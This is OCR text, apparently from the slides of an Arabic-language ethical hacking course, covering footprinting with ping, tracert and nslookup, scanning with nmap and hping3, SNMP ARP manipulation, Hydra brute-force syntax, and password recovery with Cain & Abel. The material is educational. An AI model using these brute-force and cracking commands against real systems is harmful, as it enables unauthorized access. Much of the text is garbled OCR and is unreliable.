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VirtualBox binaries

By downloading, you agree to the terms and conditions of the respective

inder tl

+ VirtualBox platform packages. The binaries are released
o VirtualBox 4.3.26 for Windows £
o VirtualB
o Virtual
o VirtualBo

+ VirtualBox 4.3.2 x Extension Pack = All si

Support for U x RDP and PXE boot for Intel
Evaluation

Please ins ith the same version as your ins
If you are 8, please download the extension

.36, please download the extension
.0.28, please download the extension

If you are using VirtualB
If you are using VirtualB

+ VirtualBox 4.3.26 Software Developer Kit (SDK) = All platforms

See the changelog for what has changed.
You might want to compare the
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'+ VirtualBox 4.3.26 Setup
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The Setup Wizard will install Oradle VM VirtualBox 4.3.26 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard.
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Welcome to VirtualBox!
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The left part of application window contains
global tools and lists all virtual machines and
wirtual machine groups on your computer. You
can import, add and create new YMs using
corresponding toolbar buttons. You can popup
a tools of currently selected element using
corresponding element button.

You can press the F1 key to get instant help,
or visit www . virtualbox.org for more
information and latest news.
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Welcome to VirtualBox!

The left part of application window contains
global tools and lists all virtual machines and
virtual machine groups on your computer. You
can import, add and create new VMs using
corresponding toolbar buttons. You can popup
a tools of currently selected element using
corresponding element button.

You can press the F1 key to getinstant help,
or visit www. virtualbox.org for more
information and latest news,
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File Machine Help
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Discar

Machine Tools Global

Welcome to VirtualBox!

The left part of this window lists all virtual machines and virtual machine groups
on your computer.

)
_—
The right part of this window represents a set of tools which are currently opened
(or can be opened) for the currently chosen machine. For a list of currently
available tools check the corresponding menu at the right side of the main tool
bar located at the top of the window. This list will be extended with new tools in

future releases.

You can press the F1 key to get instant help, or visit vaww.virtuaibosx org for more.
information and latest news.

Details
Tool to observe virtual machine (VM) details. Reflects groups of properties for the currently chosen VM
and allows basic operations on certain properties (like the machine storage devices).

Snapshots

Tool to controi virtual machine (VM) snapshots. Reflects snapshots created for the currently selected
VM and dllowss snapshot operations like create, remove, restore (make current) and observe their
properties. Allows to gdit snapshot attributes like name and description.
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JShome/kali
no wireless extensions.

no wireless extensions.
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:~# airmon-ng check kill
Killing these processes:

PID Name
3346 wpa_supplicant

:~# iwconfig wlan® mode monitor
:~# iwconfig
no wireless extensions

IEEE 802.11b ESSID:"" Nickname:"<WIFI@REALTEK>"

Mode:Monitor Frequency:2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 Signal level=-100 dBm Noise level=0 dBm
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0
Tx excassive retries:® Invalid misc:0 Missed beacon:®

no wireless extensions.
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+1 703 889 5778
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C:\Windouws\system32)>

r vl
@Y Administrator: Command Prompt i = B “

icrosoft Windows [Uersion 6.1.76811]
Copyright (c> 2809 Microsoft Corporation. All rights reserved.

1 ACM Ulgla Al &l (M) JAub

JWal jj ude hsenlod " ping www.certifiedhacker.com" (il od

Administrator: Command Prompt - cmd - cmd - cmd - cmd = | B |G

Microsoft Windows [Version 6.1.76011
Copyright (c)> 2089 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ping www.certif iedhacker.com

Pinging www.certifiedhacker.com [202.75.54.10811 with 32 hytes of data:
Reply from 202.75.54.1081: hytes=32 time=99ms TTL=119
Reply from 202.75.54.1081: bhytes=32 time=8%9ms TTL=119
Reply from 202.75.54.101: hytes=32 time=%91ims TTL=119
Reply from 202.75.54.1081: hytes=32 time=94ms TTL=119

Ping statistics for 202.75.54.101:
Packets: Sent = 4, Received = 4, Lost = @ (8% loss).

Approximate round trip times in milli-seconds:
Minimum = 89ms,. Maximum = 99ms. Average = 93ms

C:\Windows\system32>

 ACM Wlghh Al &uil (F9) JAdis



il Jio Ping wlbslnng. www.certifiedhacker.com &oqol IP 202.75.54.101 lgic u&liiw
LLYlgulad)ldday o pQillicidgllg 63999 0llg Aolimellg dluuyoll

wLislgololl Ango Ko dA il ble Juadl pan) Gua sl Al YU i Al

B Administrator: Command Prompt =l g

\Windows\systen32dping wwuw.certifiedhacker.con ~f

Pinging www.certifiedhacker.com [202.75.54.101] with 1508 hytes of data:
Packet needs to be tragmented but UF set.
Packet needs to be fragmented but DF set.
Packet n to be fragmented but DF set.
Packet nee to be fragmented but DF set.

Ping statistics for 202.75.54.101:
Packets: Sent = 4, Received = @, Lost = 4 (180x loss),

>:\Windows\systen32>

P ACM Ulgla Al &gl (M9) JAub

Cinglan s UVl Ul odsy 1386 "DF s ol (a)g 8120 do jadl g ad Ul iny" il b6l
Jw)l roldy rod ping Lol &o f- eli@oll lioaAiwl Uil Loug . Aif i unyg dAanill ole Agng(aos U
Uaall1aa ping 1oVl aleig dojnll

I+« o UaMl pan Juldi Ko ping jUial elpabmgéi Ugea YU

===
Administrator: Command Prompt |%

75 54 1A11 _with 1300 bytes of data:
time=89ms T 19
time=93ms T
4. time=%1ms T
Reply from 20 .54.181: p time=89ms TTL=119
Ping statistics for 202.75.54.101:
ved = 4, Lost = @ (@xz loss),
3 n milli-seconds:
Minimnum = 89ms, Maximum = 93ms,. Average = 90ms

:\Windows\system32>
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(TTL) JUu\ agngil jlan Jala Jéiil Ll
Janngll 6junyl) Emulate Tracer jlan (1o jluuoll Gunln claviil LA,09,100 aungill jlan (o apJl
chunlall PguoAall dunlln claiiy A (-

BN Administrator: Command Prompt l = = l&l

:\Windows\systemn3d2>tracert www.certifiedhacker.con

racing route to wwu.certifiedhacker.conm [202.75.54.1811
ver a maximunm of 30 hops:

<1 <1 host—49-143-253-1 .myslbb.comn [49.143.253.11
1 1 193.5.187.53
139 ms 7?8 ms 61.8.59.185
201 ms 149 ms be2.wrl.sinB.asianetcom.net [61.14.157.1811]
63 63 gi4-B-B.gw2.sin3.asianetcom.net [61.14.157.1341]

159 ms p478B.sgw.equinix.con [282.79.197.151
5 s 119 ns 10.55.32.200
199 ms 106 1.9.244.26
9 = * Request timed out.
10 183 154 nsl.novearlyfees.com [202.75.54.101]

race complete.

:\Windows\systen32>_

5ACM Ulgla Al &gl (M9) JAub

AUlaiwVlJgAjd UTLTJQ.__J.) N6 6 6anlgdojn Juwyl eliiy —n 1 paAiwlaaial jolgllango VO -
(oUal el doylilo

Administrator: Command Prompt == X

IC:\Windows\system32>ping www.certifiedhacker.com —i 1 -n 1

Pinging www.certifiedhacker.com [202.75.54.1011 with 32 bytes of data:
Reply from 49.143.253.1: TTL expired in transit.

Ping statistics for 202.75.54.101:
Packets: Sent = 1. Received = 1. Lost = 8 <(Bx loss).

IC:\Windows\system32>

VACM Wilgla Al &1 (r9) JAdh

Administrator: Command Prompt =hE) X

IC:\Windows\system32>ping wwu.certif iedhacker.com -i 2 -n 1

Pinqin? www.certifiedhacker.com [202.75.54.1081] with 32 bytes of data:
Reply from 1083.5.187.53: TTL expired in transit.

Ping statistics for 202.75.54.101:
Packets: Sent = 1, Received = 1, Lost = 8@ (Bx loss),

IC:\Windows\system32>

7ACM Ulgh Al &gl (F9) JALb
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BN Administrator: Command Prompt

IC:\Windouws\systemn32>ping www.certifiedhacker.com -i 3 -n 1

Pinging www.certifiedhacker.com [202.75.54.1011 with 32 bytes of data:
Reply from 61.8.59.185: TTL expired in transit.

Ping statistics for 202.75.54.161:
Packets: Sent = 1, Received = 1, Lost = @ (Bx loss),

IC:\Windows\systen32)

8ACM Ulghh Al &uil (F9) JAdis

VA=) Qi ¥ ojall dubro 320y A auieline (ighhs (o IP Ylgic yudi o Glayl LieliaG)

Aro e Ugai VWL (TTL) 8yl 620 Uo ojnlltlaiijo

(rr,V0,0€,1 dlall 0 x0) Ualal IP Ulgic uJl Jund xin ollel sglaAll jpa

-

BE¥ Administrator: Command Prompt

C:\Windows\systemn32>ping www.certif iedhacker.com ~-i 18 -n 1

Pinging www.certifiedhacker.com [202.75.54.1011 with 32 bytes of data:
Reply from 202.75.54.101: bytes=32 time=127ms I1TL=119

Ping statistics for 202.75.54.161:
Packets: Sent = 1, Received = 1, Lost = @ (Bx los
Approxinate round trip times in milli-seconds:
Minimum = 127ms, Maximum = 127ns, Average = 127nms

IC:\Windows\system32>_

9 ACM Wilgla sl &gl (M9) JAub
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PING www.google.com (142.250.
64 bytes from del12s04-in-f4.
64 bytes from dell2s04-in-f4.
64 bytes from deli12s@4-in-f4.
64 bytes from del12s04-in-f4.

A C

:laon odilulogleoll =
IP:202.75.54.101 Ylgic -

Lipwlslana] -

€ —dlwyolldojnll -

£ _dojnJlpliwl i -

dojallats -

Aul odlo 9 — ULVl Ul dday pudillcisgll -
CLLIEOr Uall foan) LAl aadl -

Uljeo TTL : 10 dulniuwl -

5 ping www.google.com

194 100) 56(84) bytes of data.

1e100.

1e160.
1e100.
1e160.

--- www.google.com ping statistics
4 packets transmitted, 4 received,

net (142.250.194.100): icmp_seq=1 ttl=116
net (142.250.194.1600): icmp seq=2 ttl=116
net (142.250.194.100): icmp_seqg=3 ttl=116
net (142.250.194.100): icmp_seq=4 ttl=116

8% packet loss, time 3005ms
rtt minfavg/max/mdev = 1.136/1.264/1.599/0.193 ms

[ ping yuAiy oA po Yuhi (P ) JAib
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DNS @uph (e Wlogleoll fon duds o

g2Vl o eqono ga)

nslookup .\
Interactive Lo] yli%ya la) nslookup &o Jol=il aic. Linux o9 Windows (6 639290 olal VA9

.Noninteractive gi

Interactive o
uAsy aSlach Il JUug nslookup rol Uala Jaals Enter hsrnig nslookup wuial Uf lay and)
: Microsoft.com vuia gJ DNS Server U troubleshooting g tloglso &ong olsiwlmqdV Lolgll

A oJ o o)l WAl ULogall rouwlg nslookup iAal Loaie vblpiol JAauin Wbl oJ ek
.02)1 531 o9l Eo dndiyoll IP (uglic LJ Aty A records Ciun records

Nonauthoritative g Authoritative :dugall (Lo Ulegi WLE pa Ay

Authoritative -
Wloglzoll &lon alala &uAd uai) DNS Server laya) obhio JAiiny Microsoft.com Ul Ao glo
JAla lapeg dns server gl web server gf mail server <lguw (Laua) CilsUailu dnlall elliniiillg

.DNS
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Non authoritative

.Cash L0 dlAqa 1o DNS Server uloglso pa Non Authoritative

nslookup @1 (e DNS Footprinting Jogsl Ul ajig b (o diiso dAanb Jala pdf lnys gl -

Microsoft.com ude Wlgal (Lo lape gf

Jal Josy Ul Jolay gag aguul yuyall o Lils oA Internet Server Provider J jolw Uéhio -

.\ ol Q5L L Microsoft.com Ja 59 AU sl DNS Server

.Non Authoritative . oAa6 oaic (Lo Uil o Sl Wluaylayl -

DNS Server 0gQ16 dso Cilnlgi Al DNS Server aqny rodg lo &890 (e Ciolsiwl Yo -

. Authoritative server \J| g dulaillg Al Eo Jnlqilu

DNS uJ.bJUﬂm.UdLD aiyjAai apae . Cash Jl oo ayad diyjai) DNS Server gy dule apg -

Aulo )l &pui) Cash JI (Lo aurn iy microsodt.com
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ke enm Find DS recards

DNS records for www.twitter.com

DNS Lookup and Domain Whois
Lookup APls and Databases

)
L

WholsFreaks

AAAA recards
No At epeards found

1 DND, nslookup (P1) Jaub

/home/kali/Desktop
google.com
Server: 192.168.8.1
Address: 192.168.8.1#53

Non-authoritative answer:
Name: google.com
Address: 142.250.203.238

Name: google.com
Address: 2a00:1450:4006:813::200e

/home/kali/Desktop
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https://www.nslookup.io/

W

Noninteractive o

Z: v >nslookup

Default Server: terminator.movie.edu
Lddress 192,245,245 .3

Server terminator.movie.aedu
Eddress 192,245,245 .3
Non—-authoritative answer

Nams slate.mines.colorado.edu
Eddress 138.67.1.38
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Non-authoritative DNS Server mala o
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HTTrack web site copier Jio Cinululaino @i (e Footprinting clyn) .
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(Ldloc) EMRIWNI Wliloc Yo Wiloallg aldoll pulaidl

. Footprinting JI (e wllall 3 (o anl) Router Jgaoll jlan alac|

ol @lle) Ayl alghAll Uil elif oy EMNIWIIGWoc Joanall =

He laATnll Koy 1aa Jigldl ole (AU pono $Lo Glg) WPS Jih =i eline) \WPS Jia =i

LAuAalb\ldAanil)agepnoll

/http://192.168.1.1 HJUl il ole h AU Fgldldadn ode Jgaaluogdi )

rod (LA LA o admin Jhab g 4h gl dolag oaaimell ounl Jaa] elio wiliniy woquy .Y

.Login jjule hsnll

| Please login to continue...
Username admin e
Password sseees e chi'no

[Jgal Jpuni (-1 ) JAub

eliaoy Ul WPS Lle hseall pd Wian laiog Network alacl ole hseai jun Ul g il (o .7

Save Jouwll o heall jjoule hsenlld Disable juisy WPS 6y%5 J06

Status Path:Network-WLAN-WPS

Logout
Quick Setup

WPS Mode switching will take effect immediately.
waAN

AR 2) wes tode [PBC D
aasic

SSID Settings PBC

ce
WiFi Restrictions
wes C:%
LAN
Routing(1Pv4)
Security
Application
Administration

Help

7 Jo

 Jodal dauii (I-#) JAib


http://192.168.1.1/
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Arping — detect_sniffer — dmitrt — hping -Ncat

Arpin o

s pilllé)lal Jgagiguolaniinbango o (ARP) anlgllUlgisdl Juai Jghgign Jaa] duo duers

(SNMP) lapi

doaAaimoll wligaell// Auwwil olulnioll

ARP Jlaayl auo .Y

clear software 1oVl Jo=s.anlg ARP Jgan Jlaal auel software 10S Cisco @oliy 1ol angy V

Wila &o SNMPUgAgigu olaaiwl ¢ling) JolAJu Joaall auo wle cache-arp 10S Cisco

Uo (.1.3.6.1.2.4.22) (IPnetToMediaTable) Jgan Jala (IP

ipNet

netToMediaType ) I,POLOLELE

(RFC MIr1P) 6)la)l Wlogleo 6acld

1.3.6.1.2.1.4.22,
ToMediaTable CBJECT-TYEE

FROM RFC1213-MIE --

DESCRIPTION "The IP Rddrsss Translation tahble used for mapping from

{ i=o{l) orgi(3} ded(é) internet(l) mgmt(2)

IF addrasses to
".physical addresses
mib-2(1) ip(4) 22 } =::

1.3.6.1.2.1.4.22.1.4.

ipNetToMediaType CBJECT-TYFE
FROM RFCl213-MIE --
{ (SYMTAX Integer { other{l), invalid(2), dynamic(3d), static{4
MAX-ACCEES read-create
STATUS Current
.DESCRIFTION "The type of mapping

Setting this object to the wvalue inwvalid({2) has the effect of
the corresponding entry in the ipNetTeMediaTable. That is, it

disassociates the interface identified with said entry from the mapping

identified with said entry. It is an implementation-specific matter as

whether the agant removes an invalidated entry from the table.
management stations must be prepared to receive tabular information from
that corresponds to entries not currently in use. Proper interpretation

".entries requires examinaticn of the relevant ipNetToMediaType chject
iss{l) DEg[B] dod (&) internat (1} mgr\tt?] mib-2(1) iptli] ipN

[ ARP JLaayl duuwo (PI) JALD

invalidating

effectively

ta
,Accordingly
agents
of such

etToMediaTabla(22) | =:
[ ipWetToMedisEntry(l) 4
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AN Elifgy M=aJln p1ec OJ)« MIBipNetToMediaType (1)),

MMEMTLE) paic Jyseiiily o Loaic

Anlg ARP JlAaj|

{ip.ipNetToMediaTable. ipNetToMadiaEntry.ipNetToMediaType.4.172.16.98_.45 = other(l
(ip.ipNetToMediaTable. ipNetToMediaEntry. ipNetToMadiaType.7.172.16.96.1 = other(l

—-—<snipr——

‘Jliall Juw e azlg ARP Jlsol lc snmpset acgacs i pois Losic

({ip.ipNetToMediaTablae , ipNetToMadiaEntry . ipNetToaMed

iaType.1.172.16.98.2 = dynamie(3

¥l Clogles 6acld ay il 1899 dousuo ue=2 I Lgiosd - usi

snmpset 172.16.99.1 private ipNetToMediaType.1l.172.16.98.2 i 2
{ip.ipHetToMediaTable.ipNetToMediaEntry. ipNetToMediaType.1.172.16.98.2 = invalid(2

:2L3YI 3@ 5,5 wils .azsall Lle MIB ipNetToMediaType i) s 31 snmpwalk jew ddog wuiic < 13]

snmpwalk 172.16.99.1

(ip.ipNetToMediaTable . ipNetToMediaEntry . ipNatTaMadiaT
{ip.ipNetToMediaTable. ipNetToMediaEntry. ipNetToMediaType

public .1.3.6.1.2.1.4.22.1.4

ype.1.172.16.98.1 =
L2.172.16.98.36 = dynamic

{ip.ipNetToMediaTable. ipNetToMadiaEntry.ipNetToMediaType.2.172.16.98.37 = other

{ip.ipNetToMediaTable.ipNetToMediaEntry. ipHetToMediaType.3.172.16.97.101 = other

(1

(3

(1
(ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMadiaType.3.172.16.97.1 = other (1
(1
([ip.ipHNetToMadiaTable. ipHetToMediaEntry. ipHetToMediaType . 3.172.16.97.254 = (3
(3

{ip.ipHetToMediaTable. ipNetToMediaEntry. ipNetToMediaType

L4.172.16.98.41 =

{ip.ipHetToMediaTable. ipHetToMadiaEntry.ipNetToMediaType . 4.172.16.98.45 = other (1l

{ip.ipNetToMediaTable.ipNetToMediaEntry. ipNatToMediaType.7.172.16.96.1

(ip.ipHetToMediaTable. ipNetToMediaEntry . ipNetToMediaType
{ip.ipNetToMediaTable ., ipNetToMediaBntry . ipNetToMediaType

Wadiie aeyd eyl (Pr) Jaib

= other (1l
LT.172.16.96.31 = dynamic (3
LT.172,16.96.40 = dynamic (3
——<Esnipr——

23V b Saguuall 21,5Vl ams ol
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snmpwalk 172.16.9%9.1 public .1.3.6.1.2.1.4.22.1.4

=
L}

other(l

ynamic (3

(ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaType.1.172.16.98.
{ip.ipNetToMediaTable.ipNet ToMediaFEntry. ipNetToMediaType.1.172.16.98.2
(ip.ipNetToMediaTable. ipNetToMediaEntry. ipNetToMediaType.2.172.16.98.36
{ip.ipNetTcMediaTable. ipNetToMediaEntry.ipletToMediaType.2.172.16.98.3
{ip.ipNetTeMediaTable.ipNetToMediaFntry.ipNetToMediaType.3.172.16.97.
(ip.ipNetToMediaTable.ipletToMediaEntry. ipNetToMediaType.3.172.16.97.10
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ynamic (3
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ynamic (3
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Wlapill jJuinb 61all oaa pgdig doraimell Aanill hinAo Joc wo acly loo dAnill ol
Jrsaiiill plAi Egig dlondl jlan Egig dAnill ule dlnioll 6janlilg dagidoll Wil YALcg
Ol g0 8y (WAllg WALl HUlao LAyl Ugdsinell Aoty digd 61al jiwig ojlan]g paniuoll
AAanilg janil) §lyial duloe sl wrini sUaallgulpsillwolirial

lalisaiiig NMAP 6|JTL")_O IP Ulgic &g aicg.dpaub layisig Aolioll duo Wigal sq6ilg Jrrolqa
JAJ auuoll A aanig bnlpiol dssuidlg 6jgauiioll Aolio)l auwes NMAP 0gdiworall oAl e
PUALI 6 63g2g0J A6loll A Ao NMAP 0916 waall plAaill o Aolioll
Qollguloaallgdngig ol Aoliodl ldoal (Lo Wlogleoll (Lo 632 =io lelgii oy NMAP tilajAae

dAapill ode il Ayaniy gl Ciun Ping wlngad clpa) laolaAiwl ody Cua dlayle dlolsll

ICMP ) Juwyp @ilo Unio jlan)l A 1Al dAauill ole (lniodl &on) ICMP echo request Juwyig
Jan JUA (o JoJ ICMP UlA 13] auanig ddnioll 6janll 8690 2anil 1100 Uanall Ihag ECHO
QLo

#NMAP 192.168.12.60

THREE WAY wglwl ule aoisy dngitoll Aolioll Ala (o Aolioll WUitial b Aloc 6446
TCP duula Qiel Aigll o) lay@oo dojn Nmap olal @y (e Brisell Juwy HANDSHAKES
RST dojn Gupn e Jwrill Givoll jlan @l o egiooll AQioll JUA o Wrall jlanl apy oJ
JWaivl gl Lol Ughy jlanl 3) §leoll A0ioll Ala (0129100 A0io A0g) Ajl dopRo 1L
dgauy aslitial i uanoll (o gl lrag JLaidl @ og) anno pd gl jlaall Gy dublo
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192.168.1.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 01:26 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

Nmap done: 1 IP address (@ hosts up) scanned in 3.09 seconds

s o oo @laill e (o) JAib

nmap -sV <IP> slaadd) Laad g :\Aﬁ.h.“ 8LLal) sl

192.168.1.1
Nmap 7.94 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <hostl[,host2][,host3], ... >: Exclude hosts/networks
-—excludefile <exclude_file>: Exclude list from file

HOST DISCOVERY:

-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servl[,serv2], ...>: Specify custom DNS servers
-——-system-dns: Use 0S's DNS resolver
--traceroute: Trace hop path to each host

SCAN TECHNIQUES:

[Oloaallg Asliol auuo (P1) JAih



Hping 3 o

waall plaill Lo dnicl djaall (o Wlla] ule Jgrnall Jal o Wlily jn Uiy 8lal Ha

i) Jlnog onyio pag Wil mjn duen diaal jolalg waall Jolall juusll ole Jgnnllg

# hping3

. Traceroute mode LG <ill Hde 6)ald Lﬁuik}mg TCP,UDP , ICMP , rocaig TCP/IP

6lall Wljio i o

Aiylg69 aclgd yanog Alondljlan juial -

AoliclJoadioduuo -

AAuillaolioyansd -

4elinowlgAligyolaaimbdanilljuial -

Ao aimoll dA il ble Jusainill pdAi wlitial -

192.168.12.60 -S -C1 -P 25

SYN Eqil(lomjn olaAaiwl:-S

Qojn Juwyld: lauyyluglholljalldios 3any: -C

adl JuwVluglholl AQigll ayanil: -P
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hping3olaaiwyJlio =
waall Jlbo (I- ) ICMP &nhg uo (V- ) ¥aho Uhg (traceroute—— ) Euiill &g paAiul

(www.example.com)

root :~4# hping3

ising eth@, addr: , MTU:

HPING www.example.com (eth® ): icmp mode set, headers + © data bytes
hop=1 TTL @ during transit from ip= name=

hop=1 hoprtt= ms
hop=2 TTL 6 during transit from ip=
hop=2 hoprtt= ms

I haping3 olaAiwl (PV) Jaub

doraiinoll agagl yareq dnna o ICMP/UDP/TCP oja Juwjl ode 6jald dAnb slal v hping3
U049 =il dojall pang ouung &jiaill Ko Joleiy gao « ICMP aga) &o ping U= lolio
Jan aclgd juialeliagy hping3 olaaiwl dogeroll WVgAgigrll LingosWlQloll J&i AolaAiil
Wwlirislg Adélic e WlgAgigulaailydAanill sl juislg (dealholl) Aoliol Aulio slpalg ylonll
A%y (e Jusabiill dolailg it o WigAagiop Lingos &uiill juuo Apisi wislia] A40ii9 MTU juuo
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pigll &o alnyyig Loopback Interface Joi0qdiUielile Lo JA GNS3 ule Eqngoll dupaitiagiqlg

QLI 6)gn)barngo ga Los 197, NAL Ll Loopback Jl sdacly dotsll ULA (o

C1

—_— .._(/'—r e
/.’ N

g loopback Int ’)

)' 2 e 3 it
] e

192.168.1.1
R1
@ 192.168.1.2

V SNMP (F—1*V) JAuis

JoLoJl Wlola Wlwlw p3lgog UoaAiellg IP Jglanllypad o

031969 UloaAiiollg IP Jglaall yane) Command Prompt (CMD) Jio Wigal plaaiwl (J40)
AAauill ode joroll Gilela Clwluw

:CCNA Ulo dAuillgjla]lgafplasiwl o

CCNA (Cisco Certified Jio wlauill 6)la] Jlao uo Wlyaillg Wialauidl ude aleicVl Aoy

AAnill Yol Ylowng duglinoll tilogleoll ble Jonall dio14 rod=i) Network Associate)



Jga Wlogleo ule Jgnall laoladiwl Uhoy OGS o
dAauillajlgo dAjlile -
Aan JAuiy e oliody od 13L.SNMP wlly -
IPJglan -
dolinell Gonilll roaAimoll clowl -
JoyollUlol s wlw pdlgd -
:od Laclgilg [olAill Ldoadi Ll Wloadll ple Wialaxill agisi =
(DNS ENUMERATION) DNS ala®i o
dohioll WMaig DNS malh ayanil malagll adi) ddhiogll J&i alasi dudoc JUA (o
clowig 6janll clowwig (o oll clouwi Jio waall dAanill (1e dotd Wlogleo oy doraditioll
NSLOOKUP 61Vl olaAiwl oy DNS alasiclialg UloaAimoll
(NTP ENUMERATION) NTPala=i o
alay dlnigll ( Lists of hosts ) (@1 oll pdlgd Jio Wlogleo &on (Ao NTP alasi JUA (o
L3005 pdyg , AAanbll \o Jrosdl Golail de Jusabill pla Egi oAl clowl IP (uglic « NTP
NTP SUITE :6lalll olaaiwly
(SNMP ENUMERATION) SNMP alasi o
AUl Clglh Al EUTlelifgy diloc palel Kali Linux oo SNMP olasin)
L8]l clin oy b ualall Kali Linux rolAi bde SNMP ¢ilgal vidi (Lo 24l: SNMP Gigalvundi -
.4uJ9 1Al SNMP wilgal vanii) o jaJl yae laAiwl Guph (e el
&onJ dolaaiwl o) SNMP J (596 LignH auwlo g SNMPwalk : SNMPwalk oasiwl -
laniwl ¢lifes « laileai Uho LIl SNMP Soino Juwlw WA 8jaall (o Wlogloll

& Aoaal (o Wlogleoll (o Ao Jad 1Al Gon) Wl (Lo b ¢ J8iil) SNMPwalk

[\A



:SNMPwalk plasiwl @po1a) Juouli logo =
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uloc ol Lo Gl .

Gblaill slowl Jga Wlogleo alayiwl DNS oalga (e oMsiwl) Nslookup  Joll pasiwl .
5AUl DNS wllag IP (uglicg

/home/kali/Desktop
google.com
Server: 192.168.8.1
Address: 192.168.8.1#53

Non-authoritative answer:
Name: google.com
Address: 142.250.203.238

Name: google.com
Address: 2a00:1450:4006:813::200e

/home/kali/Desktop

elaiiwlg Samba g Windows dolil (ro Wlogleoll alail (enum4linux) yoll oaAbwl .Y
LDAP Ji¥a (Jo degonollgoaaielltilogleo

/home/kali
install enumé&linux
Reading package lists... Done
Building dependency tree..
Reading state information...
enum4linux is already the newest version (0.9.1-0kalil).
enumélinux set to manually installed.
The following packages were automatically installed and are no longer required
gee-12-base libcurl3-nss libgcc-12-dev libobjc-12-dev libstdc++-12-dev libtexluajit2 nss-plugin-pem python3-jdcal python3-pyminifier
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, @ to remove and 175 not upgraded.

/home/kali
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LY gl danill pao of Warso 11 Joduiol Joro WlolA =i 6ale) Ao joroll dola jnai wigal

ool J16 (o Lol dla
WlolA pu s Guhi oJ] Dictionary «@lo Jroniao rody Ciin yugoldli pgaa d1idi olaainl (Ao

Wwgoll Ulala o 2ac ule B9ing Vi Qlo gag toa AT oJlWbLla A AT Gl j9Loll

Jull dola ode jeisllyugoldll po dolh JA @olipl oaAingg
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:Jio Wigal olaAiwl joroll Wlels doalao iy o

Hydra -
Windows g Linux Golil o doaaiwoll joroll Wlols (oad Juislslaloa Hydra sl
gaa wolwl paAimi pag lajpeq SMB g Telnet g SSH g FTP Jio delifell wigAgigulig

iy VI LY 3g2g0 WUgKAIY Ml Aol donlao] élalg doublsll 894l Brute Force

.Password Attacks /Online Attacks /Hydra

duwlwil pololl o

hydra -I [username] -p [password] [target] [protocol]

doinoll joroll Wlol o Aoils rolaaiwl joroll Wlols Lle UroAaill pgad 3100l Jolll Ira rogdy

oUALNOJlJgaal bplasoll oasiell oawl paAing
hydra -l [username] -P [password list file] [target] [protocol]

roaAiig dipsoll joroll Gols olaAiwl jgrell Glols ule UloAil pgaad 2100l poll Ia pgd)
oAU LIl Jaaal \dasoll paAiugll ouwl

hydra -L [user list file] -P [password list file] [target] [protocol

Uo Aoilég Ukoraiuoll sloiwl o Qoils laiil jgrell Wlels Lle UtoAill 2401l Loll a0 g8y

dloinoll jgroll WilolA (Lo Goslog Uroaraitioll «louwl (ro Goild olainiwlogad jgroll tilola
hydra -M [target list file] -] [username] -P [password list file] [protocol]

Utoaniuoll elowl (o Gosls laniwl jgroll Wlala Hle (oAill pgaad 21011 1oVl 1aa gy
Jaaall sdasoll oasainell ol padingg wlaadll (Lo Gosld olaaiwl jgredl WlolA (Lo Goildg
Wlaall o)

hydra -5 -l [username] -P [password list file] [target] [protocol]
J950 Aol JA dypai oy Sl Juwhio JAaiin jgroll Wlola ode UuoAill pgad 33001 joll 1aa rogd)
Al gall aaimell oIl JWLE J1é padiue Jh ode

Example : Hydra -L users.txt -P password.txt
ftp://127.0.0.1

-L path of usernames list.

*

* —P path of passwords list.

* ftp:// the protocol type.

* We can also use -vV to display the
results directly.

UioAll Uloaa (PA) JAib
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g 105 Hhes (1) Crypranalysis Attack (LM)
54 481 Hashes (0) Crypranalysis Attack (NTLM)
' SHA-2 Hashes (0) Sabact Al
R RIPEND-160 Hashes (0)
g KerbS Preauth Hashes (3) Test password
Radks Key Hashes (0)
09 IE-PSK Hashes (0) i ik
fh) MSSGL Mashes (0) g Py
B e T | 3
) MySQL Hashes (0) M&NTIH
'!—I Export
Lost packets: 0% 4
CAIN daalg (M) JAaub

Jusaiiill oUAil jgpoll olA 8aleiwlg jgroll Wlola @lriay @l wigal Jrasl (1o 6anlg Ly Cain
Windows.

wode 2q16 Loyt A9 rolaAawll ddoung dylse ) ddn i Qolipl) duoquul paAiuigll danlg Cain
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olos)l Gukill igha .

Aujio)l Al Jliodl Juw ode wlapill i dolAa dopsol Cain @oliyolasiwl

il ole Jgaad

EOECNE VY vl
[ Sl B ,U A d
Sedadll  YeE oo 1T 11 s
Sda Y15 go 1T:TO ca_setup ﬁ
RZIP iyl Yol oo 1V:Ee ca_setup X8
Judal  YeIE oo \T:TV chromeinstall-8u25 | &y
OWNLOAD s Y.L P RARE Parrot-1.4.2_486.iso.crdownload |
F Yo\ o + 1+ Webdavg

g Cain & Abel 4956
-

This installation program will install Cain & Abel 4.9.56.

Press the Next button to start the installation. You can press
the Cancel button now if you do not want to install Cain & Abel
4.9.56 at this time.
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Aol Qi claiiVl a)g LLuniill Ulglaa JoAimi -
wireless password Lle JgaaJuoghi )
press the+button on the toolbar to etc 1oVl Llc hseAid .Y

Al dolle jlinjpd .Y

Sniffef |(6} Cracker |é Traceroute ln CCou I[w Wireless ]a) Query l

Adapter GUID

Descr

Typ Password

SO RE | WY | W e Tummmy WS W WS | AL

(69438676-B6CB... prz pSK 1626FZE726177616E3935

dantil sle Joaai (€1) Jaib
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Decoders Ig Network I‘ Sniffer I@i} Cracker IQ Traceroute ln CCbu |“§” Wireless I@ Query I

Cached Passwords
@ Protected Storage
